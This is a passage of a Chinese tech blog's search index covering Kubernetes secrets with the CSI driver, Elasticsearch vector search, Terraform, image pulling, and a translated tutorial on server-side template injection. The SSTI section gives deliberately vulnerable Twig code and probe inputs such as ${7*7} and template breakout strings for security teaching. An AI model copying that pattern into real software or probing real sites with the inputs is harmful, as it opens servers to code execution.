","date":"2023-03-19","objectID":"/k8s-secret-management/:3:4","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"其他 secret managers 设置其他 secret 管理器与上述步骤类似。唯一的区别是 SecretStore CRD 和 ExternalSecret CRD 中的 remoteRef 部分。您可以在 ESO 文档中找到针对不同提供商的官方指南。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:3:5","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"Secrets Store CSI Driver Secrets Store CSI Driver 是一个原生的上游 Kubernetes 驱动程序,可用于从工作负载中抽象出 secret 的存储位置。如果您想使用云提供商的 secret 管理器而不将 secret 公开为 Kubernetes secret 对象,您可以使用 CSI 驱动程序将 secret 作为卷安装在您的 pod 中。如果您使用云提供商来托管您的 Kubernetes 集群,这是一个很好的选择。该驱动程序支持许多云提供商,并且可以与不同的 secret 管理器一起使用。 Secrets Store CSI Driver 是一个 daemonset 守护进程,它与 secret 提供者通信以检索 SecretProviderClass 自定义资源中指定的 secret 。 它的工作原理如下; 创建一个 SecretProviderClassCRD 来定义从 secret 提供者获取的 secret 的详细信息。 在 pod 的 volume spec 中引用 SecretProviderClass。 驱动程序将从 secret 提供者那里获取 secret ,并在 pod 启动期间将其作为 tmpfs 卷挂载到 pod 中。该卷也将在 pod 删除后被删除。 驱动程序还可以同步对 secret 的更改。该驱动程序目前支持 Vault、AWS、Azure 和 GCP 提供商。Secrets Store CSI Driver 也可以将加密数据同步为 Kubernetes secret,只需要在安装期间明确启用此行为。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:4:0","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"优点 secret 存储在安全的外部 secret 管理器中,而不是代码存储库中。 使机密与外部机密管理器保持同步。它还支持 secret 的轮换。 与所有主要的外部 secret 管理者合作。 将密钥作为卷安装在 pod 中,因此它们不会作为 Kubernetes secret 公开。它也可以配置为创建 Kubernetes secret。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:4:1","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"缺点 需要精心设置才能使用,并且比 ESO 更复杂。 使用比 ESO 更多的资源,因为它需要在每个节点上运行。 依赖于外部 secret 存储及其访问策略来确保安全。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:4:2","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"使用 Google Secret Manager provider 让我们看看如何配置 driver 以使用 Google Secret Manager (GSM) 作为 secret provider。 确保您使用的是启用了 Workload Identity 功能的 Google Kubernetes Engine (GKE) 集群。Workload Identity 允许 GKE 集群中的工作负载模拟身份和访问管理 (IAM) 服务帐户来访问 Google Cloud 服务。您还需要为项目启用 Kubernetes Engine API、Secret Manager API 和 Billing。如果未启用, gcloud CLI 会提示您启用这些 API。 可以使用以下 gcloud CLI 命令创建启用了 Workload Identity 的新集群。 export PROJECT_ID=\u003cyour gcp project\u003e gcloud config set project $PROJECT_ID gcloud container clusters create hello-hipster \\ --workload-pool=$PROJECT_ID.svc.id.goog 安装 Secrets Store CSI Driver 可以使用 Helm 命令在集群上安装 Secrets Store CSI 驱动程序: helm repo add secrets-store-csi-driver https://kubernetes-sigs.github.io/secrets-store-csi-driver/charts helm install csi-secrets-store \\ secrets-store-csi-driver/secrets-store-csi-driver \\ --namespace kube-system 这将在 kube-system 命名空间下安装驱动程序和 CRD 。您还需要将所需的 provider 安装到集群中。 安装 GSM provider 让我们将 GSM provider 安装到集群中: kubectl apply -f https://raw.githubusercontent.com/GoogleCloudPlatform/secrets-store-csi-driver-provider-gcp/main/deploy/provider-gcp-plugin.yaml 创建 secret 首先,您需要设置一个工作负载身份服务帐户。 # Create a service account for workload identity gcloud iam service-accounts create gke-workload # Allow \"default/mypod\" to act as the new service account gcloud iam service-accounts add-iam-policy-binding \\ --role roles/iam.workloadIdentityUser \\ --member \"serviceAccount:$PROJECT_ID.svc.id.goog[default/mypodserviceaccount]\" \\ gke-workload@$PROJECT_ID.iam.gserviceaccount.com 现在让我们创建一个该服务帐户可以访问的密钥。 # Create a secret with 1 active version echo \"mysupersecret\" \u003e secret.data gcloud secrets create testsecret --replication-policy=automatic --data-file=secret.data rm secret.data # grant the new service account permission to access the secret gcloud secrets add-iam-policy-binding testsecret \\ --member=serviceAccount:gke-workload@$PROJECT_ID.iam.gserviceaccount.com \\ --role=roles/secretmanager.secretAccessor 现在您可以创建一个 SecretProviderClass 资源,用于从 GSM 获取密钥。请记住将 $PROJECT_ID 替换为您的 GCP 项目 ID。 # secret-provider-class.yaml apiVersion: secrets-store.csi.x-k8s.io/v1 kind: SecretProviderClass metadata: name: app-secrets spec: provider: gcp parameters: secrets: | - resourceName: \"projects/$PROJECT_ID/secrets/testsecret/versions/latest\" path: \"good1.txt\" - resourceName: \"projects/$PROJECT_ID/secrets/testsecret/versions/latest\" path: \"good2.txt\" 创建一个 Pod 现在您可以创建一个 pod 去使用该 SecretProviderClass 资源从 GSM 获取密钥。请记住将 $PROJECT_ID 替换为您的 GCP 项目 ID。 # my-pod.yaml apiVersion: v1 kind: ServiceAccount metadata: name: mypodserviceaccount namespace: default annotations: iam.gke.io/gcp-service-account: gke-workload@$PROJECT_ID.iam.gserviceaccount.com --- apiVersion: v1 kind: Pod metadata: name: mypod namespace: default spec: serviceAccountName: mypodserviceaccount containers: - image: gcr.io/google.com/cloudsdktool/cloud-sdk:slim imagePullPolicy: IfNotPresent name: mypod resources: requests: cpu: 100m stdin: true stdinOnce: true terminationMessagePath: /dev/termination-log terminationMessagePolicy: File tty: true volumeMounts: - mountPath: '/var/secrets' name: mysecret volumes: - name: mysecret csi: driver: secrets-store.csi.k8s.io readOnly: true volumeAttributes: secretProviderClass: 'app-secrets' 将上述资源应用到集群中。 kubectl apply -f secret-provider-class.yaml kubectl apply -f my-pod.yaml 等待 pod 启动,然后 exec 进入 pod 查看挂载文件的内容。 kubectl exec -it mypod /bin/bash # execute the below command in the pod to see the contents of the mounted secret file root@mypod:/# cat /var/secrets/good1.txt ","date":"2023-03-19","objectID":"/k8s-secret-management/:4:3","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"其他 secret 管理器 您可以找到服务提供商的类似指南:AWS CSI provider、Azure CSI provider 和 Vault CSI provider。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:4:4","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":["Kubernetes"],"content":"结论 Sealed Secrets 是小型团队和项目在 Git 中保护 secret 的绝佳解决方案。对于较大的团队和项目,External Secrets Operator 或 Secrets Store CSI Driver 是安全管理密钥的更好的解决方案。External Secrets Operator 可以与许多 secret 管理系统一起使用,并不限于上述系统。当然,这应该与 RBAC 一起使用,以防止非管理员读取集群中的 secret 。Secrets Store CSI Driver 可能比 ESO 涉及更多,但它是一个更原生的解决方案。 ","date":"2023-03-19","objectID":"/k8s-secret-management/:5:0","tags":["Kubernetes"],"title":"Kubernetes 的 secret 并不是真正的 secret","uri":"/k8s-secret-management/"},{"categories":null,"content":"本人具有多年研发和架构经验。我的博客将会持续分享有关 Node.js,Python,Golang,编程,应用开发,消息队列,中间件,数据库,容器化,云原生,大数据,图像处理,机器学习,人工智能,架构,程序员成长等等一系列文章。 ","date":"2023-02-14","objectID":"/about/:0:0","tags":null,"title":"关于我","uri":"/about/"},{"categories":null,"content":"⭐ 我是凌虚 🧑‍💻 一名软件开发工程师与系统架构师。 🌐 曾主导的互联网项目处理日均千万级 PV 流量,管理数十亿级别的图片。 🔥 曾负责研发的前沿脑科学和医疗仪器项目服务于数十家医疗和科研机构。 ❤️ 丰富的技术广度,擅长 Node.js、Golang,后端、大数据、Kubernetes 云原生等诸多领域。 🏠 目前生活在杭州,欢迎向我推荐新的工作机会。 💬 欢迎与我微信 rifewang 交流。 ","date":"2023-02-14","objectID":"/about/:1:0","tags":null,"title":"关于我","uri":"/about/"},{"categories":null,"content":"🛠 我的技术栈 💻 🔧 🌐 🛢 ","date":"2023-02-14","objectID":"/about/:2:0","tags":null,"title":"关于我","uri":"/about/"},{"categories":null,"content":"我的完整简历 点击查看我的简历,欢迎向我推荐新的工作机会😁 欢迎关注我的微信公众号,并与我交流: ","date":"2023-02-14","objectID":"/about/:3:0","tags":null,"title":"关于我","uri":"/about/"},{"categories":["Elasticsearch"],"content":"Elasticsearch 向量搜索 本文将会介绍 Elasticsearch 向量搜索的两种方式。 ","date":"2022-04-15","objectID":"/es-vector-search/:0:0","tags":["Elasticsearch"],"title":"Elasticsearch 向量搜索","uri":"/es-vector-search/"},{"categories":["Elasticsearch"],"content":"向量搜索 提到向量搜索,我想你一定想知道: 向量搜索是什么? 向量搜索的应用场景有哪些? 向量搜索与全文搜索有何不同? ES 的全文搜索简而言之就是将文本进行分词,然后基于词通过 BM25 算法计算相关性得分,从而找到与搜索语句相似的文本,其本质上是一种 term-based(基于词)的搜索。 全文搜索的实际使用已经非常广泛,核心技术也非常成熟。但是,除了文本内容之外,现实生活中还有非常多其它的数据形式,例如:图片、音频、视频等等,我们能不能也对这些数据进行搜索呢? 答案是 Yes ! 随着机器学习和人工智能等技术的发展,万物皆可 Embedding。换句话说就是,我们可以对文本、图片、音频、视频等等一切数据通过 Embedding 相关技术将其转换成特征向量,而一旦向量有了,向量搜索的需求随之也越发强烈,向量搜索的应用场景也变得一望无际、充满想象力。 ","date":"2022-04-15","objectID":"/es-vector-search/:1:0","tags":["Elasticsearch"],"title":"Elasticsearch 向量搜索","uri":"/es-vector-search/"},{"categories":["Elasticsearch"],"content":"ES 向量搜索说明 ES 向量搜索目前有两种方式: script_score _knn_search ","date":"2022-04-15","objectID":"/es-vector-search/:2:0","tags":["Elasticsearch"],"title":"Elasticsearch 向量搜索","uri":"/es-vector-search/"},{"categories":["Elasticsearch"],"content":"script_score 精确搜索 ES 7.6 版本对新增的字段类型 dense_vector 确认了稳定性保证,这个字段类型就是用来表示向量数据的。 数据建模示例: PUT my-index { \"mappings\": { \"properties\": { \"my_vector\": { \"type\": \"dense_vector\", \"dims\": 128 }, \"my_text\" : { \"type\" : \"keyword\" } } } } 如上图所示,我们在索引中建立了一个 dims 维度为 128 的向量数据字段。 script_score 搜索示例: { \"script_score\": { \"query\": {\"match_all\": {}}, \"script\": { \"source\": \"cosineSimilarity(params.query_vector, 'my_vector') + 1.0\", \"params\": {\"query_vector\": query_vector} } } } 上图所示的含义是使用 ES 7.3 版本之后内置的 cosineSimilarity 余弦相似度函数计算向量之间的相似度得分。 需要注意的是,script_score 这种搜索方式是先执行 query ,然后对匹配的文档再进行向量相似度算分,其隐含的含义是: 数据建模时向量字段可以与其它字段类型一起使用,也就是支持混合查询(先进行全文搜索,再基于搜索结果进行向量搜索)。 script_score 是一种暴力计算,数据集越大,性能损耗就越大。 ","date":"2022-04-15","objectID":"/es-vector-search/:2:1","tags":["Elasticsearch"],"title":"Elasticsearch 向量搜索","uri":"/es-vector-search/"},{"categories":["Elasticsearch"],"content":"_knn_search 搜索 由于 script_score 的性能问题,ES 在 8.0 版本引入了一种新的向量搜索方法 _knn_search(目前处于试验性功能)。 所谓的 _knn_search 其实就是一种 approximate nearest neighbor search (ANN) 即 近似最近邻搜索。这种搜索方式在牺牲一定准确性的情况下优先追求搜索性能。 为了使用 _knn_search 搜索,在数据建模时有所不同。 示例: PUT my-index-knn { \"mappings\": { \"properties\": { \"my_vector\": { \"type\": \"dense_vector\", \"dims\": 128, \"index\": true, \"similarity\": \"dot_product\" } } } } 如上所示,我们必须额外指定: index 为 true 。 similarity 指定向量相似度算法,可以是 l2_norm 、dot_product、cosine 其中之一。 额外指定 index 为 true 是因为,为了实现 _knn_search,ES 必须在底层构建一个新的数据结构(目前使用的是 HNSW graph )。 _knn_search 搜索示例: GET my-index-knn/_knn_search { \"knn\": { \"field\": \"my_vector\", \"query_vector\": [0.3, 0.1, 1.2, ...], \"k\": 10, \"num_candidates\": 100 }, \"_source\": [\"name\", \"date\"] } 使用 _knn_search 搜索的优点就是搜索速度非常快,缺点就是精确度不是百分百,同时无法与 Query DSL 一起使用,即无法进行混合搜索。 ","date":"2022-04-15","objectID":"/es-vector-search/:2:2","tags":["Elasticsearch"],"title":"Elasticsearch 向量搜索","uri":"/es-vector-search/"},{"categories":["Elasticsearch"],"content":"参考文档 text-similarity-search-with-vectors-in-elasticsearch dense-vector knn-search introducing-approximate-nearest-neighbor-search-in-elasticsearch ","date":"2022-04-15","objectID":"/es-vector-search/:3:0","tags":["Elasticsearch"],"title":"Elasticsearch 向量搜索","uri":"/es-vector-search/"},{"categories":[],"content":"Terraform: 基础设施即代码 ","date":"2022-03-27","objectID":"/terraform-overview/:0:0","tags":["CICD"],"title":"Terraform: 基础设施即代码","uri":"/terraform-overview/"},{"categories":[],"content":"问题 现如今有很多 IT 系统的基础设施直接使用了云厂商提供的服务,假设我们需要构建以下基础设施: VPC 网络 虚拟主机 负载均衡器 数据库 文件存储 … 那么在公有云的环境中,我们一般怎么做? 在云厂商提供的前端管理页面上手动操作吗? 这也太费劲了吧,尤其是当基础设施越来越多、越来越复杂、以及跨多个云环境的时候,这些基础设施的配置和管理便会碰到一个巨大的挑战。 ","date":"2022-03-27","objectID":"/terraform-overview/:1:0","tags":["CICD"],"title":"Terraform: 基础设施即代码","uri":"/terraform-overview/"},{"categories":[],"content":"Terraform 为了解决上述问题,Terrafrom 应运而生。 使用 Terraform ,我们只需要编写简单的声明式代码,形如: ... resource \"alicloud_db_instance\" \"instance\" { engine = \"MySQL\" engine_version = \"5.6\" instance_type = \"rds.mysql.s1.small\" instance_storage = \"10\" ... } 然后执行几个简单的 terraform 命令便可以轻松创建一个阿里云的数据库实例。 这就是 Infrastructure as code 基础设施即代码。也就是通过代码而不是手动流程来管理和配置基础设施。 正如其官方文档所述,与手动管理基础设施相比,使用 Terraform 有以下几个优势: Terraform 可以轻松管理多个云平台上的基础设施。 使用人类可读的声明式的配置语言,有助于快速编写基础设施代码。 Terraform 的状态允许您在整个部署过程中跟踪资源更改。 可以对这些基础设施代码进行版本控制,从而安全地进行协作。 ","date":"2022-03-27","objectID":"/terraform-overview/:2:0","tags":["CICD"],"title":"Terraform: 基础设施即代码","uri":"/terraform-overview/"},{"categories":[],"content":"Provider \u0026 Module 你也许会感到困惑,我只是简单的应用了所写的声明式代码,怎么就构建出来了基础设施,这中间发生了什么? 其实简而言之就是 terraform 在执行的过程中内部调用了基础设施平台提供的 API 。 每个基础设施平台都会把对自身资源的操作统一封装打包成一个 provider 。provider 的概念就好像是编程语言中的一个依赖库。 在 terraform 中引用 provider : terraform { required_providers { alicloud = { source = \"aliyun/alicloud\" version = \"1.161.0\" } } } provider \"alicloud\" { # Configuration options } 我们在写代码的时候经常会把某些可重用的部分剥离出来作为一个模块,而在 terraform 中,对基础设施的管理也是如此,我们能够把可重用的 terraform 配置组成 module 模块,我们即可以在我们 local 本地自己编写模块,也可以直接使用第三方组织好并且公开发布的 remote 模块。 ","date":"2022-03-27","objectID":"/terraform-overview/:2:1","tags":["CICD"],"title":"Terraform: 基础设施即代码","uri":"/terraform-overview/"},{"categories":[],"content":"最后 本文只是抛砖引玉罢了,有关 terraform 的更多内容还请参考官方文档及其它资料。 ","date":"2022-03-27","objectID":"/terraform-overview/:3:0","tags":["CICD"],"title":"Terraform: 基础设施即代码","uri":"/terraform-overview/"},{"categories":["Kubernetes"],"content":"加速 Kubernetes 镜像拉取 Kubernetes pod 启动时会拉取用户指定的镜像,一旦这个过程耗时太久就会导致 pod 长时间处于 pending 的状态,从而无法快速提供服务。 镜像拉取的过程参考下图所示: Pod 的 imagePullPolicy 镜像拉取策略有三种: IfNotPresent:只有当镜像在本地不存在时才会拉取。 Always:kubelet 会对比镜像的 digest ,如果本地已缓存则直接使用本地缓存,否则从镜像仓库中拉取。 Never:只使用本地镜像,如果不存在则直接失败。 说明:每个镜像的 digest 一定唯一,但是 tag 可以被覆盖。 从镜像拉取的过程来看,我们可以从以下三个方面来加速镜像拉取: 缩减镜像大小: 使用较小的基础镜像、移除无用的依赖、减少镜像 layer 、使用多阶段构建等等。 推荐使用 docker-slim 加快镜像仓库与 k8s 节点之间的网络传输速度。 主动缓存镜像: Pre-pulled 预拉取镜像,以便后续直接使用本地缓存,比如可以使用 daemonset 定期同步仓库中的镜像到 k8s 节点本地。 ","date":"2022-03-13","objectID":"/speed-up-image-pull/:1:0","tags":["Kubernetes"],"title":"加速 Kubernetes 镜像拉取","uri":"/speed-up-image-pull/"},{"categories":["Kubernetes"],"content":"题外话 ","date":"2022-03-13","objectID":"/speed-up-image-pull/:2:0","tags":["Kubernetes"],"title":"加速 Kubernetes 镜像拉取","uri":"/speed-up-image-pull/"},{"categories":["Kubernetes"],"content":"1:本地镜像缓存多久?是否会造成磁盘占用问题? 本地缓存的镜像一定会占用节点的磁盘空间,也就是说缓存的镜像越多,占用的磁盘空间越大,并且缓存的镜像默认一直存在,并没有 TTL 机制(比如说多长时间以后自动过期删除)。 但是,k8s 的 GC 机制会自动清理掉镜像。当节点的磁盘使用率达到 HighThresholdPercent 高百分比阈值时(默认 85% )会触发垃圾回收,此时 kubelet 会根据使用情况删除最旧的不再使用的镜像,直到磁盘使用率达到 LowThresholdPercent(默认 80% )。 ","date":"2022-03-13","objectID":"/speed-up-image-pull/:2:1","tags":["Kubernetes"],"title":"加速 Kubernetes 镜像拉取","uri":"/speed-up-image-pull/"},{"categories":["Kubernetes"],"content":"2:镜像 layer 层数真的越少越好吗? 我们经常会看到一些文章说在 Dockerfile 里使用更少的 RUN 命令之类的减少镜像的 layer 层数然后缩减镜像的大小,layer 越少镜像越小这确实没错,但是某些场景下得不偿失。首先,如果你的 RUN 命令很大,一旦你修改了其中某一个小的部分,那么这个 layer 在构建的时候就只能重新再来,无法使用任何缓存;其次,镜像的 layer 在上传和下载的过程中是可以并发的,而单独一个大的层无法进行并发传输。 ","date":"2022-03-13","objectID":"/speed-up-image-pull/:2:2","tags":["Kubernetes"],"title":"加速 Kubernetes 镜像拉取","uri":"/speed-up-image-pull/"},{"categories":["web security"],"content":"web 安全系列文章【译文】","date":"2021-08-12","objectID":"/web-security/","tags":[],"title":"web 安全系列文章【译文】","uri":"/web-security/"},{"categories":["web security"],"content":"Cross-site request forgery (CSRF) CSRF XSS vs CSRF CSRF tokens SameSite cookies ","date":"2021-08-12","objectID":"/web-security/:1:0","tags":[],"title":"web 安全系列文章【译文】","uri":"/web-security/"},{"categories":["web security"],"content":"Clickjacking (UI redressing) Clickjacking (UI redressing) ","date":"2021-08-12","objectID":"/web-security/:2:0","tags":[],"title":"web 安全系列文章【译文】","uri":"/web-security/"},{"categories":["web security"],"content":"Cross-origin resource sharing (CORS) CORS Same-origin policy (SOP) Access-control-allow-origin ","date":"2021-08-12","objectID":"/web-security/:3:0","tags":[],"title":"web 安全系列文章【译文】","uri":"/web-security/"},{"categories":["web security"],"content":"Server-side request forgery (SSRF) Server-side request forgery (SSRF) Blind SSRF vulnerabilities ","date":"2021-08-12","objectID":"/web-security/:4:0","tags":[],"title":"web 安全系列文章【译文】","uri":"/web-security/"},{"categories":["web security"],"content":"HTTP request smuggling HTTP request smuggling Finding HTTP request smuggling vulnerabilities Exploiting HTTP request smuggling vulnerabilities ","date":"2021-08-12","objectID":"/web-security/:5:0","tags":[],"title":"web 安全系列文章【译文】","uri":"/web-security/"},{"categories":["web security"],"content":"OS command injectionn OS command injection ","date":"2021-08-12","objectID":"/web-security/:6:0","tags":[],"title":"web 安全系列文章【译文】","uri":"/web-security/"},{"categories":["web security"],"content":"Server-side template injection Server-side template injection Exploiting server-side template injection vulnerabilities ","date":"2021-08-12","objectID":"/web-security/:7:0","tags":[],"title":"web 安全系列文章【译文】","uri":"/web-security/"},{"categories":["web security"],"content":"Directory traversal Directory traversal ","date":"2021-08-12","objectID":"/web-security/:8:0","tags":[],"title":"web 安全系列文章【译文】","uri":"/web-security/"},{"categories":["web security"],"content":"DOM-based vulnerabilities DOM-based vulnerabilities DOM clobbering ","date":"2021-08-12","objectID":"/web-security/:9:0","tags":[],"title":"web 安全系列文章【译文】","uri":"/web-security/"},{"categories":["web security"],"content":"HTTP Host header attacks HTTP Host header attacks Exploiting HTTP Host header vulnerabilities Password reset poisoning ","date":"2021-08-12","objectID":"/web-security/:10:0","tags":[],"title":"web 安全系列文章【译文】","uri":"/web-security/"},{"categories":["web security"],"content":"web 安全之 Server-side template injection","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/server-side-template-injection/","tags":[],"title":"web 安全之 Server-side template injection","uri":"/translation/web-security/server-side-template-injection/server-side-template-injection/"},{"categories":["web security"],"content":"Server-side template injection 在本节中,我们将介绍什么是服务端模板注入,并概述利用此漏洞的基本方法,同时也将提供一些避免此漏洞的建议。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/server-side-template-injection/:0:0","tags":[],"title":"web 安全之 Server-side template injection","uri":"/translation/web-security/server-side-template-injection/server-side-template-injection/"},{"categories":["web security"],"content":"什么是服务端模板注入 服务端模板注入是指攻击者能够利用模板自身语法将恶意负载注入模板,然后在服务端执行。 模板引擎被设计成通过结合固定模板和可变数据来生成网页。当用户输入直接拼接到模板中,而不是作为数据传入时,可能会发生服务端模板注入攻击。这使得攻击者能够注入任意模板指令来操纵模板引擎,从而能够完全控制服务器。顾名思义,服务端模板注入有效负载是在服务端交付和执行的,这可能使它们比典型的客户端模板注入更危险。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/server-side-template-injection/:1:0","tags":[],"title":"web 安全之 Server-side template injection","uri":"/translation/web-security/server-side-template-injection/server-side-template-injection/"},{"categories":["web security"],"content":"服务端模板注入会造成什么影响 服务端模板注入漏洞会使网站面临各种攻击,具体取决于所讨论的模板引擎以及应用程序如何使用它。在极少数情况下,这些漏洞不会带来真正的安全风险。然而,大多数情况下,服务端模板注入的影响可能是灾难性的。 最严重的情况是,攻击者有可能完成远程代码执行,从而完全控制后端服务器,并利用它对内部基础设施进行其他攻击。 即使在不可能完全执行远程代码的情况下,攻击者通常仍可以使用服务端模板注入作为许多其他攻击的基础,从而可能获得服务器上敏感数据和任意文件的访问权限。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/server-side-template-injection/:2:0","tags":[],"title":"web 安全之 Server-side template injection","uri":"/translation/web-security/server-side-template-injection/server-side-template-injection/"},{"categories":["web security"],"content":"服务端模板注入漏洞是如何产生的 当用户输入直接拼接到模板中而不是作为数据传入时,就会出现服务端模板注入漏洞。 简单地提供占位符并在其中呈现动态内容的静态模板通常不会受到服务端模板注入的攻击。典型的例子如提取用户名作为电子邮件的开头,例如以下从 Twig 模板中提取的内容: $output = $twig-\u003erender(\"Dear {first_name},\", array(\"first_name\" =\u003e $user.first_name) ); 这不容易受到服务端模板注入的攻击,因为用户的名字只是作为数据传递到模板中的。 但是,Web 开发人员有时可能将用户输入直接连接到模板中,如: $output = $twig-\u003erender(\"Dear \" . $_GET['name']); 此时,不是将静态值传递到模板中,而是使用 GET name 动态生成模板本身的一部分。由于模板语法是在服务端执行的,这可能允许攻击者使用 name 参数如下: http://vulnerable-website.com/?name={{bad-stuff-here}} 像这样的漏洞有时是由于不熟悉安全概念的人设计了有缺陷的模板造成的。与上面的例子一样,你可能会看到不同的组件,其中一些组件包含用户输入,连接并嵌入到模板中。在某些方面,这类似于 SQL 注入漏洞,都是编写了不当的语句。 然而,有时这种行为实际上是有意为之。例如,有些网站故意允许某些特权用户(如内容编辑器)通过设计来编辑或提交自定义模板。如果攻击者能够利用特权帐户,这显然会带来巨大的安全风险。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/server-side-template-injection/:3:0","tags":[],"title":"web 安全之 Server-side template injection","uri":"/translation/web-security/server-side-template-injection/server-side-template-injection/"},{"categories":["web security"],"content":"构造服务端模板注入攻击 识别服务端模板注入漏洞并策划成功的攻击通常涉及以下抽象过程。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/server-side-template-injection/:4:0","tags":[],"title":"web 安全之 Server-side template injection","uri":"/translation/web-security/server-side-template-injection/server-side-template-injection/"},{"categories":["web security"],"content":"探测 服务端模板注入漏洞常常不被注意到,这不是因为它们很复杂,而是因为它们只有在明确寻找它们的审计人员面前才真正明显。如果你能够检测到存在漏洞,则利用它将非常容易。在非沙盒环境中尤其如此。 与任何漏洞一样,利用漏洞的第一步就是先找到它。也许最简单的初始方法就是注入模板表达式中常用的一系列特殊字符,例如 ${{\u003c%[%’\"}}%\\ ,去尝试模糊化模板。如果引发异常,则表明服务器可能以某种方式解释了注入的模板语法,从而表明服务端模板注入可能存在漏洞。 服务端模板注入漏洞发生在两个不同的上下文中,每个上下文都需要自己的检测方法。不管模糊化尝试的结果如何,也要尝试以下特定于上下文的方法。如果模糊化是不确定的,那么使用这些方法之一,漏洞可能会暴露出来。即使模糊化确实表明存在模板注入漏洞,你仍然需要确定其上下文才能利用它。 Plaintext context 纯文本上下文。 大多数模板语言允许你通过直接使用 HTML tags 或模板语法自由地输入内容,后端在发送 HTTP 响应之前,会把这些内容渲染为 HTML 。例如,在 Freemarker 模板中,render('Hello ' + username) 可能会渲染为 Hello Carlos 。 这有时经常被误认为是一个简单的 XSS 漏洞并用于 XSS 攻击。但是,通过将数学运算设置为参数的值,我们可以测试其是否也是服务端模板注入攻击的潜在攻击点。 例如,考虑包含以下模板代码: render('Hello ' + username) 在审查过程中,我们可以通过请求以下 URL 来测试服务端模板注入: http://vulnerable-website.com/?username=${7*7} 如果结果输出包含 Hello 49 ,这表明数学运算被服务端执行了。这是服务端模板注入漏洞的一个很好的证明。 请注意,成功计算数学运算所需的特定语法将因使用的模板引擎而异。我们将在 Identify 步骤详细说明。 Code context 代码上下文。 在其他情况下,漏洞暴露是因为将用户输入放在了模板表达式中,就像上文中的电子邮件示例中看到的那样。这可以采用将用户可控制的变量名放置在参数中的形式,例如: greeting = getQueryParameter('greeting') engine.render(\"Hello {{\"+greeting+\"}}\", data) 在网站上生成的 URL 类似于: http://vulnerable-website.com/?greeting=data.username 渲染的输出可能为 Hello Carlos 。 在评估过程中很容易忽略这个上下文,因为它不会产生明显的 XSS,并且与简单的 hashmap 查找几乎没有区别。在这种情况下,测试服务端模板注入的一种方法是首先通过向值中注入任意 HTML 来确定参数不包含直接的 XSS 漏洞: http://vulnerable-website.com/?greeting=data.username\u003ctag\u003e 在没有 XSS 的情况下,这通常会导致输出中出现空白(只有 Hello,没有 username ),编码标签或错误信息。下一步是尝试使用通用模板语法来跳出该语句,并尝试在其后注入任意 HTML : http://vulnerable-website.com/?greeting=data.username}}\u003ctag\u003e 如果这再次导致错误或空白输出,则说明你使用了错误的模板语法。或者,模板样式的语法均无效,此时则无法进行服务端模板注入。如果输出与任意 HTML 一起正确呈现,则这是服务端模板注入漏洞存在的关键证明: Hello Carlos\u003ctag\u003e ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/server-side-template-injection/:4:1","tags":[],"title":"web 安全之 Server-side template injection","uri":"/translation/web-security/server-side-template-injection/server-side-template-injection/"},{"categories":["web security"],"content":"识别 一旦检测到潜在的模板注入,下一步就是确定模板引擎。 尽管有大量的模板语言,但许多都使用非常相似的语法,这些语法是专门为避免与 HTML 字符冲突而选择的。因此,构造试探性载荷来测试正在使用哪个模板引擎可能相对简单。 简单地提交无效的语法就足够了,因为生成的错误消息会告诉你用了哪个模板引擎,有时甚至能具体到哪个版本。例如,非法的表达式 \u003c%=foobar%\u003e 触发了基于 Ruby 的 ERB 引擎的如下响应: (erb):1:in `\u003cmain\u003e': undefined local variable or method `foobar' for main:Object (NameError) from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval' from /usr/lib/ruby/2.5.0/erb.rb:876:in `result' from -e:4:in `\u003cmain\u003e' 否则,你将需要手动测试不同语言特定的有效负载,并研究模板引擎如何解释它们。使用基于语法有效或无效的排除过程,你可以比你想象的更快地缩小选项范围。一种常见的方法是使用来自不同模板引擎的语法注入任意的数学运算。然后,观察它们是否被成功执行。要完成此过程,可以使用类似于以下内容的决策树: 你应该注意,同样的有效负载有时可以获得多个模板语言的成功响应。例如,有效载荷 {{7*'7'}} 在 Twig 中返回 49 ,在 Jinja2 中返回 7777777 。因此,不要只因为成功响应了就草率下结论。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/server-side-template-injection/:4:2","tags":[],"title":"web 安全之 Server-side template injection","uri":"/translation/web-security/server-side-template-injection/server-side-template-injection/"},{"categories":["web security"],"content":"利用 在检测到存在潜在漏洞并成功识别模板引擎之后,就可以开始尝试寻找利用它的方法。详细请翻阅下文。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/server-side-template-injection/:4:3","tags":[],"title":"web 安全之 Server-side template injection","uri":"/translation/web-security/server-side-template-injection/server-side-template-injection/"},{"categories":["web security"],"content":"如何防止服务端模板注入漏洞 防止服务端模板注入的最佳方法是不允许任何用户修改或提交新模板。然而,由于业务需求,这有时是不可避免的。 避免引入服务端模板注入漏洞的最简单方法之一是,除非绝对必要,始终使用“无逻辑”模板引擎,如 Mustache。尽可能的将逻辑与表示分离,这可以大大减少高危险性的基于模板的攻击的风险。 